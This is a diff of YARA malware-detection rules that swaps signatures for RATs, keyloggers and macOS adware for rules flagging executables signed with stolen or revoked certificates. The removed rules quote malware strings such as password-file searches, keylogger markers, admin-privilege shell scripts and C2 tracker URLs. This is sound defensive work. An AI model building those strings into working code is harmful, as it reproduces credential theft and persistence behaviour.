-		$d8 = ".php" ascii
+		thumbprint = "db3d9ccf11d8b0d4f33cf4dc93689fdd942f8fbe"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "BE SOL d.o.o." and pe.signatures[i].serial=="2a:bd:2e:ef:14:d4:80:df:ea:9c:a9:fd:d8:23:cf:03")
 }
 import "pe"
 
-rule DITEKSHEN_MALWWARE_Win_Octopus : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_08622B9Dd9D78E67678Ecc21E026522E : FILE
 {
 	meta:
-		description = "Detects Octopus trojan payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "eb092e23-864f-52f3-bfa4-7e3c616d3984"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "922282e9-9f34-537b-9fd1-283ae44b9b54"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2894-L2917"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4457-L4468"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "012b75c94be3021dbcc5b8e8bd62f807c9aa8bc0df94f830a5294aaf0d21b9fc"
+		logic_hash = "7e572c4241d92ad34efd91c3f6338da4093c83d84a734766448ac7cb2a72bc0c"
 		score = 75
-		quality = 23
+		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.Octopus"
-
-	strings:
-		$s1 = "\\Mozilla\\Firefox\\Profiles\\" fullword wide
-		$s2 = "Software\\Microsoft\\Windows\\CurrentVersion\\Internet Settings" fullword wide
-		$s3 = "\\wbem\\WMIC.exe" fullword wide
-		$s4 = ".profiles.ini" fullword wide
-		$s5 = "PushEBP_" ascii
-		$s6 = "MovEBP_ESP_" ascii
-		$s7 = "Embarcadero Delphi for Win32 compiler" ascii
-		$s8 = "TempWmicBatchFile.bat" fullword wide
-		$wq1 = "computersystem get Name /format:list" wide
-		$wq2 = "os get installdate /format:list" wide
-		$wq3 = "get serialnumber /format:list" wide
-		$wq4 = "\\\\\\\\.\\\\PHYSICALDRIVE" wide
-		$wq5 = "path CIM_LogicalDiskBasedOnPartition" wide
-		$wq6 = "get Antecedent,Dependent" wide
-		$wq7 = "path win32_physicalmedia" wide
+		thumbprint = "a7d86073742ea55af134e07a00aefa355dc123be"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (6 of ($s*) and 5 of ($wq*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Kayak Republic af 2015 APS" and pe.signatures[i].serial=="08:62:2b:9d:d9:d7:8e:67:67:8e:cc:21:e0:26:52:2e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Caspertroy : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_5A17D5De74Fd8F09Df596Df3123139Bb : FILE
 {
 	meta:
-		description = "Detects CasperTroy payload"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "822c3231-60ba-5e60-8df8-06dea80b318a"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "871d9840-4540-58d3-980e-d356c856dbca"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2919-L2931"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4470-L4481"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "ce070b1e6279ef9fa47f84da7c5166cd93b3e7a0f95541ae14c048b2af9bc431"
+		logic_hash = "f5ff9f7d857da3329708ba9c0bfac0999b04aeb170fb60387f4b48fa6029a641"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "DllTroy.dll" fullword ascii
-		$s2 = "Content-Disposition: form-data; name=\"image\"; filename=\"title.gif\"" fullword ascii
-		$s3 = "Content-Disposition: form-data; name=\"COOKIE_ID\"" fullword ascii
-		$s4 = "Content-Disposition: form-data; name=\"PHP_SESS_ID\"" fullword ascii
-		$s5 = "Content-Disposition: form-data; name=\"SESS_ID\"" fullword ascii
+		thumbprint = "1da887a57dddd7376a18f75841559c9682f78b04"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "ACTA FIS d.o.o." and pe.signatures[i].serial=="5a:17:d5:de:74:fd:8f:09:df:59:6d:f3:12:31:39:bb")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Rasftuby : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_15Da61D7E1A631803431561674Fb9B90 : FILE
 {
 	meta:
-		description = "Detects Rasftuby/DarkCrystal"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "908624a8-0068-5512-a5d0-77ce1f4efd80"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "d1fd8200-0960-567d-9bb6-2bd1ed99f61b"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2933-L2950"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4483-L4494"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b769c1986d23173cf8a8a3c8a14d388a7c0327e46d936fc97c449dc55f2a5575"
+		logic_hash = "4d30a4bf1b0425081369351df707be0531dcc1751512d9012a859b621d61a1b3"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.DarkCrystal.RAT-Rasftuby"
-
-	strings:
-		$s1 = "/DCRS/main.php?data=active" fullword ascii wide
-		$s2 = "/socket.php?type=__ds_" ascii wide
-		$s3 = "/uploader.php" fullword ascii wide
-		$s4 = "del \\\"%USERPROFILE%\\\\AppData\\\\Roaming\\\\Microsoft\\\\Windows\\\\Start Menu\\\\Programs\\\\Startup\\\\System.lnk\\\"" fullword ascii wide
-		$s5 = "Host:{0},Port:{1},User:{2},Pass:{3}<STR>" fullword ascii wide
-		$s6 = "keyloggerstart_status" fullword ascii wide
-		$s7 = "keyloggerstop_status" fullword ascii wide
-		$s8 = "[PRINT SCREEN]" fullword ascii wide
-		$s9 = "DCS.Internal" ascii
+		thumbprint = "9a9bc3974e3cbbabdeb2b6debdc0455586e128a4"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "JAY DANCE STUDIO d.o.o." and pe.signatures[i].serial=="15:da:61:d7:e1:a6:31:80:34:31:56:16:74:fb:9b:90")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Protonbot : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_58Aa64564A50E8B2D6E31D5Cd6250Fde : FILE
 {
 	meta:
-		description = "Detects ProtonBot loader"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "b0d08378-0297-5e70-99f1-1dc0fec6fa01"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "b6eff323-241a-5f11-837f-bfacdc547d89"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2952-L2969"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4496-L4507"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b511dfd47109d36ffc7fcb23b49779e1164d50a28061ab724d7a2c744ac23ac8"
+		logic_hash = "7383dfc8b22379dc69cd1d93d2da40e177ba1e3b0b8b8891afb8ce594269d170"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Win.Trojan.ProtonBot"
-
-	strings:
-		$x1 = "\\PROTON\\Release\\build.pdb" ascii
-		$x2 = "\\proton\\proton bot\\json.hpp" wide
-		$x3 = "proton bot" ascii wide
-		$s1 = "endptr == token_buffer.data() + token_buffer.size()" fullword wide
-		$s2 = "ranges.size() == 2 or ranges.size() == 4 or ranges.size() == 6" fullword wide
-		$s3 = "ref_stack.back()->is_array() or ref_stack.back()->is_object()" fullword wide
-		$s4 = "ktmw32.dll" fullword ascii
-		$s5 = "@detail@nlohmann@@" ascii
-		$s6 = "urlmon.dll" fullword ascii
+		thumbprint = "a7b43a5190e6a72c68e20f661f69ddc24b5a2561"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (2 of ($x*) or ( all of ($s*) and 1 of ($x*)))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Foreground" and pe.signatures[i].serial=="58:aa:64:56:4a:50:e8:b2:d6:e3:1d:5c:d6:25:0f:de")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Imminentrat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00Bbd4Dc3768A51Aa2B3059C1Bad569276 : FILE
 {
 	meta:
-		description = "Detects ImminentRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "99831b32-d8a0-5814-bf41-491f607ee825"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "cb5214b4-1af5-5b31-b690-6531139e92b1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2971-L2994"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4509-L4520"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f959fd28e818b17c962fcd5bb99fa5ac0058f22494950e0200f139703f3e756a"
+		logic_hash = "d506c2d6e630fabe1d4b805cd31aa54b04959db80630f656b3460c869ad544fa"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$x1 = "abuse@imminentmethods.net" ascii
-		$x2 = "Imminent-Monitor-" ascii
-		$x3 = "AddressChangeListener" fullword ascii
-		$x4 = "SevenZipHelper" fullword ascii
-		$x5 = "WrapNonExceptionThrows" fullword ascii
-		$s1 = "_ENABLE_PROFILING" wide
-		$s2 = "Anti-Virus: {0}" wide
-		$s3 = "File downloaded & executed" wide
-		$s4 = "Chat - You are speaking with" wide
-		$s5 = "\\Imminent\\Plugins" wide
-		$s6 = "\\Imminent\\Path.dat" wide
-		$s7 = "\\Imminent\\Geo.dat" wide
-		$s8 = "DisableTaskManager = {0}" wide
-		$s9 = "This client is already mining" wide
-		$s10 = "Couldn't get AV!" wide
-		$s11 = "Couldn't get FW!" wide
+		thumbprint = "36936c4aa401c3bbeb227ce5011ec3bdc02fdd14"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and (4 of ($x*) or 5 of ($s*))
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "JJ ELECTRICAL SERVICES LIMITED" and pe.signatures[i].serial=="00:bb:d4:dc:37:68:a5:1a:a2:b3:05:9c:1b:ad:56:92:76")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Warzonerat : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3A236F003Bdefc0C55Aa42D9C6C0B08E : FILE
 {
 	meta:
-		description = "Detects AveMaria/WarzoneRAT"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "4f3df696-280c-5f2b-9511-8cc7c9dff1d6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "02c95d8f-f694-5d0f-bf79-b806334e8af3"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L2996-L3011"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4522-L4533"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "1af8b0f90b0de3287499082a6d6d9da6ed62a3110018e0c0f7149353693060b2"
+		logic_hash = "9930b2d3fdbd2f6da17d78dfbfe6229f0bd004686e4cc4960720710241237e48"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "RDPClip" fullword wide
-		$s2 = "Grabber" fullword wide
-		$s3 = "Ave_Maria Stealer OpenSource" wide
-		$s4 = "\\MidgetPorn\\workspace\\MsgBox.exe" wide
-		$s5 = "@\\cmd.exe" wide
-		$s6 = "/n:%temp%\\ellocnak.xml" wide
-		$s7 = "Hey I'm Admin" wide
-		$s8 = "warzone160" fullword ascii
+		thumbprint = "5ba147ebae6089f99823b1640c305b337b1a4c36"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 5 of ($s*)
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Assurio" and pe.signatures[i].serial=="3a:23:6f:00:3b:de:fc:0c:55:aa:42:d9:c6:c0:b0:8e")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Karaganycore : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_010000000001302693Cb45 : FILE
 {
 	meta:
-		description = "Detects Karagany/xFrost core plugin"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "c066805b-9373-5524-aff9-d16cd59f5a24"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "0ab8e30d-dd75-5dd1-9bc8-413e59d5d310"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3013-L3027"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4535-L4547"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cde96ac6477fda1312ce4f7532018c9f11df7d39c40155d10bdde0e3d84c6d57"
+		hash = "74069d20e8b8299590420c9af2fdc8856c14d94929c285948585fc89ab2f938f"
+		logic_hash = "74c5d88012ab3e975123cde51ae3d01b6bee1ad0d6c0f5492c507fb2472b7532"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "127.0.0.1" fullword ascii
-		$s2 = "port" fullword ascii
-		$s3 = "C:\\Windows\\System32\\Kernel32.dll" fullword ascii
-		$s4 = "kernel32.dll" fullword ascii
-		$s5 = "http" ascii
-		$s6 = "Move" fullword ascii
-		$s7 = "<supportedOS Id=\"{" ascii
+		thumbprint = "bc5fcb5a2b5e0609e2609cff5e272330f79b2375"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and all of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "AutoIt Consulting Ltd" and pe.signatures[i].serial=="01:00:00:00:00:01:30:26:93:cb:45")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Karaganykeylogger : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3F8D23C136Ae9Cbeeac7605B24Ec0391 : FILE
 {
 	meta:
-		description = "Detects Karagany/xFrost keylogger plugin"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "dd14ede0-7132-5b7f-872a-d96d5275a8e4"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "86617b78-86b0-59dc-a072-cb4acecd60e1"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3029-L3041"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4565-L4576"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "7f1f5b2ca67e62380c8a8095fed4a4fd76d7bc15c9fe2d76e780ad85f886ef7b"
+		logic_hash = "f074e141e07cbf6b5b4726b52faa382b8ece809804dcfb9d45a5b2450125b5b7"
 		score = 75
-		quality = 23
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "__klg__" fullword wide
-		$s2 = "__klgkillsoft__" fullword wide
-		$s3 = "CLIPBOARD_PASTE" wide
-		$s4 = "%s\\k%d.txt" wide
-		$s5 = "\\Update\\Tmp" wide
+		thumbprint = "ff481ea6a887f3b5b941ff7d99a6cdf90c814c40"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Bandicam Company" and pe.signatures[i].serial=="3f:8d:23:c1:36:ae:9c:be:ea:c7:60:5b:24:ec:03:91")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Karaganyscreenutil : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_3972443Af922B751D7D36C10Dd313595 : FILE
 {
 	meta:
-		description = "Detects Karagany/xFrost ScreenUtil module"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "5eab1bb9-a433-54e6-963b-4aca863dc73f"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "21ada866-167a-54d5-a137-7720de32520e"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3043-L3055"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4578-L4589"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d10230d94adfdddd604e2569ae3323efa1d5722647b9c704fceefe9446ccebd1"
+		logic_hash = "764d0a288edd3bac90c0b93319f4f8ff8a7d567cda42aa52fe6114f4e56216ad"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "__pic__" ascii wide
-		$s2 = "__pickill__" ascii wide
-		$s3 = "\\picture.png" fullword wide
-		$s4 = "%d.jpg" wide
-		$s5 = "\\Update\\Tmp" wide
+		thumbprint = "d89e3bd43d5d909b47a18977aa9d5ce36cee184c"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Sore Loser Games ApS" and pe.signatures[i].serial=="39:72:44:3a:f9:22:b7:51:d7:d3:6c:10:dd:31:35:95")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Win_Karaganylistrix : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_37F3384B16D4Eef0A9B3344B50F1D8A3 : FILE
 {
 	meta:
-		description = "Detects Karagany/xFrost Listrix module"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "837cc9e7-eefb-530c-854b-51bb4444ae78"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "a7eef803-2c9e-5f23-acde-22ae2223fec2"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3057-L3069"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4591-L4602"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "02216061dbe93b7bea108f4b27c052d87c14cfe9395c6c5d4eed46ed7819e7ae"
+		logic_hash = "4496052ff9677e0d031471e4ae9b3541099a2dbe024b4b5ba3f757800bfdcb07"
 		score = 75
 		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "\\Update\\Tmp\\" wide
-		$s2 = "*pass*.*" fullword wide
-		$s3 = ">> NUL" wide
-		$s4 = "%02d.%02d.%04d %02d:%02d" wide
-		$s5 = "/c del" wide
+		thumbprint = "3fcdcf15c35ef74dc48e1573ad1170b11a623b40"
+		importance = 20
 
 	condition:
-		uint16(0)==0x5a4d and 4 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "Sore Loser Games ApS" and pe.signatures[i].serial=="37:f3:38:4b:16:d4:ee:f0:a9:b3:34:4b:50:f1:d8:a3")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Osx_Macsearch : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_00B3969Cd6B2F913Acc99C3F61Fc14852F : FILE
 {
 	meta:
-		description = "Detects MacSearch adware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "facdf05c-5ee4-54c6-9ca3-01978af2b6e6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "2cd4cee3-0adc-595f-b86f-7c515cd0ea64"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3071-L3092"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4604-L4619"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "973b7215fc8d04685a46d05b53b4092e7b81ed0d64d6982b534f2b89d0a59443"
+		logic_hash = "4ee7f3da2ae707517c1c426e6a73fdede51514e4ddf60b93fd77c1b6c23e82c0"
 		score = 75
-		quality = 71
+		quality = 75
 		tags = "FILE"
-
-	strings:
-		$s1 = "open -a safari" ascii
-		$s2 = "/INDownloader" ascii
-		$s3 = "/safefinder" ascii
-		$s4 = "/INEncryptor" ascii
-		$s5 = "/INInstallerFlow" ascii
-		$s6 = "/INConfiguration" ascii
-		$s7 = "/INChromeAndFFSetter" ascii
-		$s8 = "/INSafariSetter" ascii
-		$s9 = "/bin/launchctl" fullword ascii
-		$s10 = "/usr/bin/csrutil" fullword ascii
-		$s11 = "_Tt%cSs%zu%.*s%s" fullword ascii
-		$s12 = "_Tt%c%zu%.*s%zu%.*s%s" fullword ascii
-		$s13 = "/macap/safefinder_Obf/safefinder/" ascii
-		$s14 = "/safefinder.build/Release/macsearch.build/" ascii
+		thumbprint = "bd9cadcfb5cde90f493a92e43f49bf99db177724"
+		hash1 = "a4d9cf67d111b79da9cb4b366400fc3ba1d5f41f71d48ca9c8bb101cb4596327"
+		importance = 20
 
 	condition:
-		uint16(0)==0xfacf and 10 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "S.O.M GmbH" and (pe.signatures[i].serial=="b3:96:9c:d6:b2:f9:13:ac:c9:9c:3f:61:fc:14:85:2f" or pe.signatures[i].serial=="00:b3:96:9c:d6:b2:f9:13:ac:c9:9c:3f:61:fc:14:85:2f"))
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Osx_Genieo : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_0D83E7F47189Cdbfc7Fa3E5F58882329 : FILE
 {
 	meta:
-		description = "Detects LinqurySearch/Genieo adware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "ac44eefd-bf1c-5d4b-bcd4-9a5d394ac1d3"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "6574aab4-f307-53c2-8cf7-bcc7565facc8"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3094-L3112"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4621-L4632"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "951dc8539435a52d9eea00b3fdaf98cf618c03867066819f2f9244165e57c675"
+		logic_hash = "c4dffcad286e161980ccec2188459b8b7eaf0e982c7c69ca5ffbaf8e4d85d1b4"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Osx.Trojan.Genieo"
-
-	strings:
-		$s1 = "<key>com.apple.security.get-task-allow</key>" fullword ascii
-		$s2 = "U1QQFXAfCxAfRUNCH1JZXh9" ascii
-		$s3 = "XVFTQ1VRQlNYH" ascii
-		$s4 = "dF9HXlxfUVQQVUJCX0IQHRB" ascii
-		$s5 = "Value:forHTTPHeaderField:" ascii
-		$s6 = "postContent:::" fullword ascii
-		$s7 = "postLog:" fullword ascii
-		$s8 = "initWithBase64EncodedString:options:" fullword ascii
-		$s9 = "do shell script \"%@\" with administrator privileges" fullword ascii
-		$s10 = /LinqurySearch-[a-f0-9]{40,}/
+		thumbprint = "ba4bf6d8caac468c92dd7cd4303cbdb2c9f58886"
+		importance = 20
 
 	condition:
-		uint16(0)==0xfacf and 6 of them
+		uint16(0)==0x5a4d and for any i in (0..pe.number_of_signatures) : (pe.signatures[i].subject contains "THE WIZARD GIFT CORPORATION" and pe.signatures[i].serial=="0d:83:e7:f4:71:89:cd:bf:c7:fa:3e:5f:58:88:23:29")
 }
 import "pe"
 
-rule DITEKSHEN_MALWARE_Osx_AMCPCVARK : FILE
+rule DITEKSHEN_INDICATOR_KB_CERT_008385684419Ab26A3F2640B1496E1Fe94 : FILE
 {
 	meta:
-		description = "Detects OSX TechyUtils/PCVARK adware"
+		description = "Detects executables signed with stolen, revoked or invalid certificates"
 		author = "ditekSHen"
-		id = "1378364b-db10-5194-98f8-5347504a92e6"
-		date = "2024-05-28"
-		modified = "2024-05-28"
+		id = "5aa92ac6-241f-54a1-b828-f8a5deb6d212"
+		date = "2023-12-08"
+		modified = "2023-12-08"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/malware.yar#L3114-L3139"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_knownbad_certs.yar#L4634-L4645"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "b18a9f578af98feb5107d9ef85850457ba5921ab58af7b097a815e3af74f05f7"
+		logic_hash = "7c9de438d5c7156052e30ce70310aaa989ff1896f7b34ffc6c4fd8fc2bc60b85"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		clamav_sig = "MALWARE.Osx.Adware.AMC-PCVARK-TechyUtils"
-
-	strings:
-		$s1 = "Mac Auto Fixer.app" fullword ascii
-		$s2 = "com.techyutil.macautofixer" fullword ascii
-		$s3 = "com.findApp.findApp" ascii
-		$s4 = "Library/Preferences/%@.plist" fullword ascii
-		$s5 = "Library/%@/%@" fullword ascii
-		$s6 = "Library/Application Support/%@/%@" fullword ascii
-		$s7 = "sleep 3; rm -rf \"%@\"" fullword ascii
-		$s8 = "Silently calling url: %@" ascii
-		$cnc1 = "cloudfront.net/getdetails" ascii
-		$cnc2 = "trk.entiretrack.com/trackerwcfsrv/tracker.svc/trackOffersAccepted/?" ascii
-		$cnc3 = "pxl=%@&x-count=1&utm_source=%@&lpid=0&utm_content=&utm_term=&x-base=&utm_medium=%@&utm_publisher=%@&offerpxl=&x-fetch=1&utm_campaign=@&affiliateid=&x-at=&btnid=" ascii
-		$x1 = "mafsysinfo" fullword ascii
-		$x2 = "MAF4497_MAF4399_MAF2204" ascii
-		$developerid = "Developer ID Application: Rahul Gahlot (RZ74UYT742)" ascii
+		thumbprint = "ee1d7d90957f3f2ccfcc069f5615a5bafdac322f"
